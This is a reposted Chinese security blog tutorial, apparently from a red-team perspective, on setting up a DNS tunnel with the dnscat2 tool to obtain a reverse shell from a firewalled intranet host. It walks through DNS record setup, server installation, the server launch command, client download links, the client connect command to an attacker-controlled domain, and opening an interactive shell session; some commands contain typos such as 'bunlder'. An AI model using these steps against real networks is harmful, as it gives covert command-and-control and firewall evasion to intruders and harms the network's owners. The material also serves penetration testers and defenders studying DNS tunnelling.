【转载】DNS隧道搭建及反弹shell之脱坑

admin 2022年3月3日10:26:50评论301 views字数 1187阅读3分57秒阅读模式

本文转载自先知社区,点击阅读原文可访问原文链接

介绍及场景

在内网环境中,通常出于安全考虑,网络防火墙会对主机的网络协议进行限制,只会放行主机服务需要的协议,当处于内网中的shell需要与外部进行流量交互的时候,就需要通过放行的协议建立网络隧道,此时DNS协议往往是一个常用的选择。

搭建过程

  • vps部署域名解析
    首先对vps建立A记录
    创建NS记录,获取子域名的解析地址为A记录的域名


【转载】DNS隧道搭建及反弹shell之脱坑

对NS记录mail子域进行解析指向ns1*.club的A记录
测试部署:
测试外部对mail子域的dns请求,然后查看vps是否处理该请求
客户端发送dns请求数据包:

【转载】DNS隧道搭建及反弹shell之脱坑

vps对请求数据的处理

tcpdump -n -i eth0 udp dst port 53

【转载】DNS隧道搭建及反弹shell之脱坑

  • 安装dnscat2服务端(此处注意踩坑)
    server端:
    需要ruby环境
    安装gem、ruby、dnscat2服务端

yum install gem
rm /usr/bin/ruby
wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz
cd ruby-2.5.0
mkdir -p /usr/local/ruby
./configure --prefix=/usr/local/ruby
make && make install
ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby


git clone https://github.com/iagox86/dnscat2.git
cd /server
gem install bunlder
ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install

启动服务端:

ruby dnscat2.rb mail.****.club -e open -c password --no-cache

客户端下载地址
https://downloads.skullsecurity.org/dnscat2/
powershell客户端
https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master

测试通信

./ruby --ping mail.target.com

连接服务端

./dnscat --secret=password mail.target.com

以下显示连接成功

【转载】DNS隧道搭建及反弹shell之脱坑

server端
sessions显示已经有客户端会话

session -i session_id

【转载】DNS隧道搭建及反弹shell之脱坑

进入会话,执行shell交互命令行

【转载】DNS隧道搭建及反弹shell之脱坑

通过监听53端口的流量包发现大量的dns请求数据

tcpdump -n -i eth0 udp dst port 53

到此为止dns隧道建立的shell就完成。


本文始发于微信公众号(关注安全技术):【转载】DNS隧道搭建及反弹shell之脱坑

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日10:26:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【转载】DNS隧道搭建及反弹shell之脱坑https://cn-sec.com/archives/501466.html

发表评论

匿名网友 填写信息